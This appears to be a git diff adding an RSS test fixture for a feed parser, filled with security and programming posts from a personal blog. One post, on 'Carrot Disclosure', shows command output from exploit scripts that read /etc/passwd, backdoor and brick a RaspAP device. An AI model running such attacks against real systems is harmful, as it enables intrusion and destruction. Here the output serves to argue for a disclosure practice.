stack!</p>Some notes on "Randomized slab caches for kmalloc()"2023-09-11T01:45:00+02:002023-09-11T01:45:00+02:00jvoisintag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.html<p>Ruiqi Gong and Xiu Jianfeng got their +<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a> +patch series merged upstream, and I've had enough discussions about it to +warrant summarising them into a small blogpost.</p> +<p>The main idea is to have multiple slab caches, and pick one at random based on +the address of …</p><p>Ruiqi Gong and Xiu Jianfeng got their +<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a> +patch series merged upstream, and I've had enough discussions about it to +warrant summarising them into a small blogpost.</p> +<p>The main idea is to have multiple slab caches, and pick one at random based on +the address of code calling <code>kmalloc()</code> and a per-boot seed, to make heap-spraying harder. +It's a great idea, but comes with some shortcomings for now:</p> +<ul> +<li>Objects being allocated via wrappers around <code>kmalloc()</code>, like <code>sock_kmalloc</code>, + <code>f2fs_kmalloc</code>, <code>aligned_kmalloc</code>, … will end up in the same slab cache.</li> +<li>The slabs needs to be pinned, otherwise an attacker could <a href="https://en.wikipedia.org/wiki/Heap_feng_shui">feng-shui</a> their way + into having the whole slab free'ed, garbage-collected, and have a slab for + another type allocated at the same VA. <a href="https://thejh.net/">Jann Horn</a> and <a href="https://infosec.exchange/@nspace">Matteo Rizzo</a> have a <a href="https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream">nice + set of patches</a>, + discussed a bit in <a href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">this Project Zero blogpost</a>, + for a feature called <a href="https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e"><code>SLAB_VIRTUAL</code></a>, + implementing precisely this.</li> +<li>There are 16 slabs by default, so one chance out of 16 to end up in the same + slab cache as the target.</li> +<li>There are no guard pages between caches, so inter-caches overflows are + possible.</li> +<li>As pointed by <a href="https://twitter.com/andreyknvl/status/1700267669336080678">andreyknvl</a> + and <a href="https://infosec.exchange/@minipli/111045336853055793">minipli</a>, + the fewer allocations hitting a given cache means less noise, + so it might even help with some heap feng-shui.</li> +<li>minipli also pointed that "randomized caches still freely + mix kernel allocations with user controlled ones (<code>xattr</code>, <code>keyctl</code>, <code>msg_msg</code>, …). + So even though merging is disabled for these caches, i.e. no direct overlap + with <code>cred_jar</code> etc., other object types can still be targeted (<code>struct + pipe_buffer</code>, BPF maps, its verifier state objects,…). It’s just a matter of + probing which allocation index the targeted object falls into.", + but I considered this out of scope, since it's much more involved; + albeit something like Jann Horn's <a href="https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README"><code>CONFIG_KMALLOC_SPLIT_VARSIZE</code></a> + wouldn't significantly increase complexity.</li> +</ul> +<p>Also, while code addresses as a source of entropy has historically be a great +way to provide <a href="https://lwn.net/Articles/569635/">KASLR</a> bypasses, <code>hash_64(caller ^ +random_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))</code> shouldn't trivially +leak offsets.</p> +<p>The segregation technique is a bit like a weaker version of grsecurity's +<a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">AUTOSLAB</a>, +or a weaker kernel-land version of +<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>, +but to be fair, making use-after-free exploitation harder, and significantly +harder once pinning lands, with only ~150 lines of code and negligible +performance impact is amazing and should be praised. Moreover, I wouldn't be +surprised if this was backported in <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's KernelCTF</a> +soon, so we should see if my analysis is correct.</p>Making use of pygments' filters with Pelican2023-09-01T18:30:00+02:002023-09-01T18:30:00+02:00jvoisintag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.html<p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a> +more or less since the beginning of this blog and I'm still +pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a> +it is, and its complete absence of fundamental changes thorough the years.</p> +<p>Anyway, I was looking at how to reduce the size of the pages …</p><p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a> +more or less since the beginning of this blog and I'm still +pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a> +it is, and its complete absence of fundamental changes thorough the years.</p> +<p>Anyway, I was looking at how to reduce the size of the pages of my blog +and looked at how code is syntactically highlighted: +Pelican is using <a href="https://pygments.org">Pygments</a> to do this, +and looking at its documentation, the <a href="https://pygments.org/docs/filters/#TokenMergeFilter">TokenMergeFilter</a> +should help a bit, by merging token of the same type together, +instead of highlighting them separately.</p> +<p>Pelican's documentation <a href="https://docs.getpelican.com/en/stable/settings.html">says</a> +that options can be passed to python-markdown like this: +<code>MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }</code>.</p> +<p>Looking at <a href="https://python-markdown.github.io/">python-markdown</a>'s <a href="https://python-markdown.github.io/reference/#markdown">one</a>, +one can pass various things as parameters, but it doesn't mention filters. +<a href="https://pygments.org/docs/filters/">Pygments documentation on this topic</a> implies +that the only way to add filters is to use the <code>add_filter</code> method on a lexer.</p> +<p>But <a href="https://github.com/pygments/pygments/blob/master/pygments/lexer.py">looking at the code</a> +as suggested <a href="https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760">here</a>, +filters can be passed like any other options, meaning that one only needs to +add the following code into the <code>pelicanconf.py</code> file to used the +<code>TokenMergeFilter</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">pelican</span> <span class="kn">import</span> <span class="n">TokenMergeFilter</span> + +<span class="n">MARKDOWN</span> <span class="o">=</span> <span class="p">{</span> + <span class="s1">&#39;extension_configs&#39;</span><span class="p">:</span> <span class="p">{</span> + <span class="s1">&#39;markdown.extensions.codehilite&#39;</span><span class="p">:</span> <span class="p">{</span> + <span class="s1">&#39;filters&#39;</span><span class="p">:</span> <span class="p">[</span><span class="n">TokenMergeFilter</span><span class="p">()]</span> + <span class="p">}</span> + <span class="p">}</span> +<span class="p">}</span><span class="err">`</span><span class="o">.</span> +</code></pre></div> + +<p>Totally worth the effort for a marginal page size reduction!</p>Book review: Hacks, Leaks, and Revelations2023-08-16T16:15:00+02:002023-08-16T16:15:00+02:00jvoisintag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.html<p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p> +<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department, +telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a> +by <a href="https://micahflee.com/">Micah Lee</a> +was available in <em>early access</em>, and that they'd be happy to send me an ebook +copy …</p><p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p> +<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department, +telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a> +by <a href="https://micahflee.com/">Micah Lee</a> +was available in <em>early access</em>, and that they'd be happy to send me an ebook +copy free of charge!</p> +<p>From the couple of interactions I had with him, Lee is not only a great human being, +but also technically literate. He's the director of information security +at <a href="https://theintercept.com/staff/micah-lee/">The Intercept</a>, and the person +behind <a href="https://onionshare.org/">OnionShare</a> and <a href="https://dangerzone.rocks/">DangerZone</a>; +so I was thrilled to finally get my hands on his book!</p> +<p>And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks: +How to communicate with sources along with some notions of <a href="https://en.wikipedia.org/wiki/Operations_security">opsec</a>, +some words on the ethics of dealing with this kind of data, +how to get data leaks and how to analyse them +properly and safely, wrangling tools like +<a href="https://github.com/freedomofpress/dangerzone">dangerzone</a>, +a <a href="https://en.wikipedia.org/wiki/BitTorrent">BitTorrent</a> client, +<a href="https://signal.org">Signal</a>, +<a href="https://torproject.org">Tor</a> via the <a href="https://www.torproject.org/download/">Tor Browser</a> and +<a href="https://onionshare.org/">Onionshare</a>, +some <a href="https://en.wikipedia.org/wiki/Linux">linux</a> and <a href="https://en.wikipedia.org/wiki/Shell_(computing)">shell</a> basics, +a crash course into data analysis with <a href="https://python.org">Python</a> and <a href="https://en.wikipedia.org/wiki/SQL">SQL</a>, +the <a href="https://occrp.org/en">OCCRP</a>'s <a href="https://docs.aleph.occrp.org/">Aleph</a>, +… +with hands-on exercises and reporting examples based on real leaks like +<a href="https://en.wikipedia.org/wiki/2021_Epik_data_breach">EpikFail</a>, +<a href="https://en.wikipedia.org/wiki/BlueLeaks">BlueLeaks</a>, +the <a href="https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26">Oath Keepers leak</a>, +<a href="https://discordleaks.unicornriot.ninja/discord/">Unicorn Riot's DiscordLeaks</a>, +<a href="https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/">AFLDS</a>, +he <a href="https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/">Heritage Foundation emails</a>, +…</p> +<p>It's a comprehensive yet highly digestible resource that I would wholeheartedly +recommend to anyone remotely interested by modern journalism practises. Hacked +and dumped databases are all around the internet, waiting to be analysed, reported on, +contextualised and exposed, and with this book, anyone could help with +the effort of making the world a better place: sunlight is the best +disinfectant!</p>mat2 0.13.42023-08-02T21:30:00+02:002023-08-02T21:30:00+02:00jvoisintag:dustri.org,2023-08-02:/b/mat2-0134.html<p>There is a new minor version of mat2: +<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking +changes, only minor improvements, code modernisation and a bit of hardening:</p> +<ul> +<li>Add documentation about mat2 on OSX</li> +<li>Make use of python3.7 constructs to simplify code</li> +<li>Use moderner type annotations</li> +<li>Harden <code>get_meta</code> in archive.py against …</li></ul><p>There is a new minor version of mat2: +<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking +changes, only minor improvements, code modernisation and a bit of hardening:</p> +<ul> +<li>Add documentation about mat2 on OSX</li> +<li>Make use of python3.7 constructs to simplify code</li> +<li>Use moderner type annotations</li> +<li>Harden <code>get_meta</code> in archive.py against variants of <a href="https://cve.circl.lu/cve/CVE-2022-35410">CVE-2021-35410</a></li> +<li>Improve MSOffice document support</li> +<li>Package the manpage on PyPI.</li> +</ul> +<p>Thanks to <a href="https://anelki.net/">akierig</a>, mat2 is now <a href="https://github.com/macports/macports-ports/pull/18072">available</a> in <a href="https://trac.macports.org/">macports</a>!</p> +<p>As usual, if you know some python help is +<a href="https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue">welcome</a>.</p>A sneaky Golang bug2023-08-02T13:15:00+02:002023-08-02T13:15:00+02:00jvoisintag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.html<p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove +duplicates from a slice, and thus wrote something like this using the +<a href="https://go.dev/doc/tutorial/generics">generic</a>-based +<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span> +<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span> +<span class="p">}</span> +</code></pre></div> + +<p>Can you spot the bug? Here are the …</p><p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove +duplicates from a slice, and thus wrote something like this using the +<a href="https://go.dev/doc/tutorial/generics">generic</a>-based +<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span> +<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span> +<span class="p">}</span> +</code></pre></div> + +<p>Can you spot the bug? Here are the prototypes of the two functions:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">SortFunc</span><span class="p">[</span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">x</span><span class="w"> </span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span> +<span class="kd">func</span><span class="w"> </span><span class="nx">CompactFunc</span><span class="p">[</span><span class="nx">S</span><span class="w"> </span><span class="o">~</span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">s</span><span class="w"> </span><span class="nx">S</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="nx">S</span> +</code></pre></div> + +<p>The first has no return value, while the second does, unused in our case, hence +the bug. It's <em>interesting</em> to note that the go compiler is perfectly happy +with this, and doesn't issue any warning: it was <em>extraordinarily fun</em> to pinpoint.</p> +<p>I reached out to <a href="https://airs.com/ian/">Ian Lance Taylor</a> who +<a href="https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d">implemented</a> +those functions in 2021 and he pointed me to <a href="https://go.dev/blog/slices-intro">Go Slices: usage and internals +</a>. Things indeed do become obvious once +looking at the <a href="https://github.com/golang/go/blob/master/src/runtime/slice.go">implementation of +<code>slice</code></a>:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">type</span><span class="w"> </span><span class="nx">slice</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="nx">array</span><span class="w"> </span><span class="nx">unsafe</span><span class="p">.</span><span class="nx">Pointer</span> +<span class="w"> </span><span class="nx">len</span><span class="w"> </span><span class="kt">int</span> +<span class="w"> </span><span class="nx">cap</span><span class="w"> </span><span class="kt">int</span> +<span class="p">}</span> +</code></pre></div> + +<p>Both <code>slices.SortFunc</code> and <code>slices.CompactFunc</code> are taking a slice as +parameter, and not a pointer to a slice, meaning that any changes to <code>len</code> and +<code>cap</code> will be local to the function.</p> +<p>Anyway, There is a <a href="https://github.com/golang/go/issues/20803">proposal</a> to require +return values to be explicitly used or ignored open since 2017, but it didn't +go anywhere for now. There is also <a href="https://github.com/golang/go/issues/20148">another proposal</a> +to make <code>go vet</code> better at highlighting error mishandling, as well as <a href="https://github.com/kisielk/errcheck">errcheck</a>, +but those wouldn't really help in this case.</p> \ No newline at end of file diff --git a/internal/reader/parser/testdata/large_rss.xml b/internal/reader/parser/testdata/large_rss.xml new file mode 100644 index 00000000..53cec06f --- /dev/null +++ b/internal/reader/parser/testdata/large_rss.xml @@ -0,0 +1,1472 @@ + +Artificial truthhttps://dustri.org/b/Sun, 10 Mar 2024 17:15:00 +0100Using vale with vimhttps://dustri.org/b/using-vale-with-vim.html<p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent +(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on +<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal +of this little corner on the internet was to improve my English, a purpose it +keeps serving. Adding some lightweight tooling to my text editor to push this +goal even further sounds great.</p> +<p>Like all good software, vale <a href="https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale">is +packaged</a> +in Alpine, although it looked a tad neglected, so I sent <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919">a +pull-request</a> +to get it updated. +Its configuration is pretty straightforward: a <code>~/.vale.ini</code> file, with +where to store/read its data and some preferences. It comes with a +<a href="https://vale.sh/hub/">couple of <em>packages</em></a> for popular styles, like the ones +from <a href="https://vale.sh/hub/microsoft/">Microsoft</a>, +<a href="https://vale.sh/hub/google/">Google</a>, <a href="https://vale.sh/hub/redhat/">RedHat</a>, … then a simple <code>vale sync</code> to force it to +download and store the data, and you're good to go.</p> +<p>While <code>vale</code> can be called from the command line, integration with my text +editor is way more comfy. I'm sure there are a ton of plugins to integrate it +with vim, but I'm not a huge fan of having my text editor run arbitrary code +from the internet, so I threw the following 6 lines in <a href="https://dustri.org/pub/vimrc">my vimrc</a> instead:</p> +<div class="codehilite"><pre><span></span><code><span class="nv">augroup</span><span class="w"> </span><span class="nv">vale</span> +<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">filereadable</span><span class="ss">(</span><span class="nv">expand</span><span class="ss">(</span><span class="s2">&quot;~/.vale.ini&quot;</span><span class="ss">))</span> +<span class="w"> </span><span class="nv">autocmd</span><span class="w"> </span><span class="nv">FileType</span><span class="w"> </span><span class="nv">markdown</span><span class="w"> </span><span class="nv">setlocal</span><span class="w"> </span><span class="nv">makeprg</span><span class="o">=</span><span class="nv">vale</span>\<span class="w"> </span><span class="o">--</span><span class="nv">output</span><span class="o">=</span><span class="nv">line</span>\<span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">errorformat</span><span class="o">=%</span><span class="nv">f</span>:<span class="o">%</span><span class="nv">l</span>:<span class="o">%</span><span class="nv">c</span>:<span class="o">%</span><span class="nv">o</span>:<span class="o">%</span><span class="nv">m</span> +<span class="w"> </span><span class="nv">nnoremap</span><span class="w"> </span><span class="o">&lt;</span><span class="nv">Leader</span><span class="o">&gt;</span><span class="nv">M</span><span class="w"> </span>:<span class="nv">make</span><span class="o">&lt;</span><span class="nv">CR</span><span class="o">&gt;&lt;</span><span class="nv">CR</span><span class="o">&gt;</span> +<span class="w"> </span><span class="k">end</span> +<span class="nv">augroup</span><span class="w"> </span><span class="k">end</span> +</code></pre></div> + +<p>It checks if I have a <code>~/vale.ini</code> file, and if so sets +<a href="https://vimhelp.org/options.txt.html#%27makeprg%27"><code>makeprg</code></a> to vale, and +configure <a href="https://vimhelp.org/quickfix.txt.html#errorformat"><code>errorformat</code></a> to +properly parse vale's output. Now every time I type <code>&lt;Leader&gt; M</code>, I get vale's +diagnostics in my <a href="https://vimhelp.org/quickfix.txt.html">quickfix window</a>.</p> +<p>The next steps would likely be to <s>waste</s> spend some time improving the theme +of the aforementioned window, add some ad hoc rules to vale, and maybe try to +show the diagnostics inline like the spellechecker is doing.</p>jvoisinSun, 10 Mar 2024 17:15:00 +0100tag:dustri.org,2024-03-10:/b/using-vale-with-vim.htmlsysadminCarrot disclosurehttps://dustri.org/b/carrot-disclosure.html<p>Once you have found a vulnerability, you can either sit on it, or disclose it. +There are usually two ways to disclose, with minor variations:</p> +<ol> +<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>, + where one gives time to the vendor to issue a fix before disclosing</li> +<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>, + where one discloses immediately without notifying anyone before.</li> +</ol> +<p>I would like to coin a 3<sup>rd</sup> one: <em>Carrot Disclosure</em>, dangling a +<a href="https://en.wikipedia.org/wiki/Carrot_and_stick">metaphorical carrot</a> in front +of the vendor to incentivise change. The main idea is to only publish the +(redacted) output of the exploit for a critical vulnerability, to showcase that the +software is exploitable. Now the vendor has two choices: either perform a +holistic audit of its software, fixing as many issues as possible in the hope +of fixing the showcased vulnerability; or losing users who might not be happy +running a known-vulnerable software. Users of this disclosure model are of +course called Bugs Bunnies.</p> +<p>We all looked at catastrophic web applications, finding a ton +of bugs, and deciding not to bother with reporting them, because they were too +many of them, because we knew that there will be more of them lurking, because +the vendor is a complete tool and it would take more time trying to properly +disclose things than it took finding the vulnerabilities, … This is an +excellent use case for Carrot Disclosure! Of course, for unauditably-large +codebases, it doesn't work: you've got a Linux LPE, who cares.</p> +<p>Interestingly, it shifts the work balance a bit: it's usually harder to write +an exploit than it's to fix here. But here, the vendor has to audit and fix +its entire codebase, for the ~low cost of one (1) exploit, that you don't even +have to publish if you don't want to.</p> +<p>If you want to be extra-nice, you can:</p> +<ul> +<li>Publish the SHA256 of the exploit, to prove + that you weren't making things up, once it's fixed or if you get sued for + whatever frivolous reasons like libel.</li> +<li>Maintain the exploits against new versions, proving that the exploit is still + working.</li> +<li>Publish the exploit once it has been fixed, otherwise you risk to have + vendors call your bluff next time, or at least notify that the issue has been + fixed. Since you don't have hardcoded offsets because we're in 2024, you can even + put this in a continuous integration.</li> +</ul> +<p>Let's have an example, as a treat. A couple of shitty vulnerabilities for +<a href="https://raspap.com/">RaspAP</a> that took me 5 minutes to find and at least 5 +more to write an exploit for each of them:</p> +<div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./read-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1<span class="w"> </span>/etc/passwd<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">5</span> +<span class="go">[+] Target is running RaspAP</span> +<span class="go">[+] Dumping /etc/passwd</span> +<span class="go">root:x:0:0:root:/root:/bin/bash</span> +<span class="go">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span> +<span class="go">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span> +<span class="gp">$ </span>./authed-mitm-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1 +<span class="go">[+] default login/password in use</span> +<span class="go">[+] backdooring system…</span> +<span class="go">[+] system backdoored, enjoy your permanent MITM!</span> +<span class="gp">$ </span>./brick-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1 +<span class="go">[+] Target is running RaspAP</span> +<span class="go">[+] Bricking the system…</span> +<span class="go">[+] System bricked!</span> +<span class="gp">$</span> +</code></pre></div> + +<p>It looks like there is a low-hanging unauthenticated arbitrary code execution +chainable with a privilege escalation to root as well, but since writing an +exploit would take more than 5 minutes, I can't be bothered, and odds are that +it'll be fixed along with the persistent denial-of-service anyway. Let me know +when you think those are fixed.</p>jvoisinFri, 08 Mar 2024 21:30:00 +0100tag:dustri.org,2024-03-08:/b/carrot-disclosure.htmlsecurityYoutube video embedding harm reductionhttps://dustri.org/b/youtube-video-embedding-harm-reduction.html<p>Embedding external content on a website in the current enshittocene period is +more annoying than ever, so here is a copy-pasteable snippet to embed a youtube +video while reducing its tracking and nuisance capabilities as much as possible:</p> +<div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">iframe</span> + <span class="na">credentialless</span> + <span class="na">allowfullscreen</span> + <span class="na">referrerpolicy</span><span class="o">=</span><span class="s">&quot;no-referrer&quot;</span> + <span class="na">sandbox</span><span class="o">=</span><span class="s">&quot;allow-scripts allow-same-origin&quot;</span> + <span class="na">allow</span><span class="o">=</span><span class="s">&quot;accelerometer &#39;none&#39;; ambient-light-sensor &#39;none&#39;; autoplay &#39;none&#39;; battery &#39;none&#39;; bluetooth &#39;none&#39;; browsing-topics &#39;none&#39;; camera &#39;none&#39;; ch-ua &#39;none&#39;; display-capture &#39;none&#39;; domain-agent &#39;none&#39;; document-domain &#39;none&#39;; encrypted-media &#39;none&#39;; execution-while-not-rendered &#39;none&#39;; execution-while-out-of-viewport &#39;none&#39;; gamepad &#39;none&#39;; geolocation &#39;none&#39;; gyroscope &#39;none&#39;; hid &#39;none&#39;; identity-credentials-get &#39;none&#39;; idle-detection &#39;none&#39;; keyboard-map &#39;none&#39;; local-fonts &#39;none&#39;; magnetometer &#39;none&#39;; microphone &#39;none&#39;; midi &#39;none&#39;; navigation-override &#39;none&#39;; otp-credentials &#39;none&#39;; payment &#39;none&#39;; picture-in-picture &#39;none&#39;; publickey-credentials-create &#39;none&#39;; publickey-credentials-get &#39;none&#39;; screen-wake-lock &#39;none&#39;; serial &#39;none&#39;; speaker-selection &#39;none&#39;; sync-xhr &#39;none&#39;; usb &#39;none&#39;; web-share &#39;none&#39;; window-management &#39;none&#39;; xr-spatial-tracking &#39;none&#39;&quot;</span><span class="err">,</span> + <span class="na">csp</span><span class="o">=</span><span class="s">&quot;sandbox allow-scripts allow-same-origin;&quot;</span> + <span class="na">width</span><span class="o">=</span><span class="s">&quot;560&quot;</span> + <span class="na">height</span><span class="o">=</span><span class="s">&quot;315&quot;</span> + <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://www.youtube-nocookie.com/embed/jfKfPfyJRdk&quot;</span> + <span class="na">title</span><span class="o">=</span><span class="s">&quot;lofi hip hop radio 📚 - beats to relax/study to&quot;</span> + <span class="na">frameborder</span><span class="o">=</span><span class="s">&quot;0&quot;</span> + <span class="na">loading</span><span class="o">=</span><span class="s">&quot;lazy&quot;</span> +<span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span> +</code></pre></div> + +<ul> +<li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless"><code>credentialless</code></a> to load youtube in a blank disposable context, + without access to the origin's network, cookies, and storage data.</li> +<li><code>allowfullscreen</code> because some people like it</li> +<li><code>referrerpolicy</code> set to not leak your <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referer</a></li> +<li><code>sandbox</code> to only allow javascript execution and SOP. Downloads, forms, + modals, screen orientation, pointer lock, popups, presentation session, + <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">storage access</a> and thus third-party cookies, + top-navigation, … are all denied.</li> +<li><code>allow</code> with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">every single directives</a> + set to "absolutely-fucking-not", and yes, they have to be all set one by one, + and check regularly is new directive were added, + because there is <a href="https://github.com/w3c/webappsec-permissions-policy/issues/208">no deny-all</a> + in the <a href="https://w3c.github.io/webappsec-permissions-policy/">spec</a>. It seems + that every browser has its own list of directives, chrome is using <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md">this one</a> + while firefox' prefers the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">MDN one</a>, + and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.</li> +<li><code>src</code> set to <code>www.youtube-nocookie.com</code> instead of <code>youtube.com</code>. Both + are official Google urls, but the former doesn't do tracking via cookies, + and disables API and interaction and interaction logging. Amusingly, it's + the player used on <code>whitehouse.gov</code>.</li> +<li><code>csp</code> set to <code>sandbox allow-scripts allow-same-origin;</code> for compatibility's + sake, just in case. + I'd love to use a more restrictive policy, but the spec doesn't allow to + provide one, except if the embedded website explicitly allows it, and of + course youtube doesn't.</li> +<li><code>loading="lazy"</code> in case people don't scroll far enough to see the video, no + need to make them do queries to Google for no reasons.</li> +</ul> +<p>Don't forget to put a <code>title</code> for <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns">accessibility's sake</a>.</p>jvoisinTue, 27 Feb 2024 14:45:00 +0100tag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.htmlwebA silly "smart" contract bughttps://dustri.org/b/a-silly-smart-contract-bug.html<p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server, +when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a> +apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's +interesting here is the bug, can you spot it?</p> +<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span 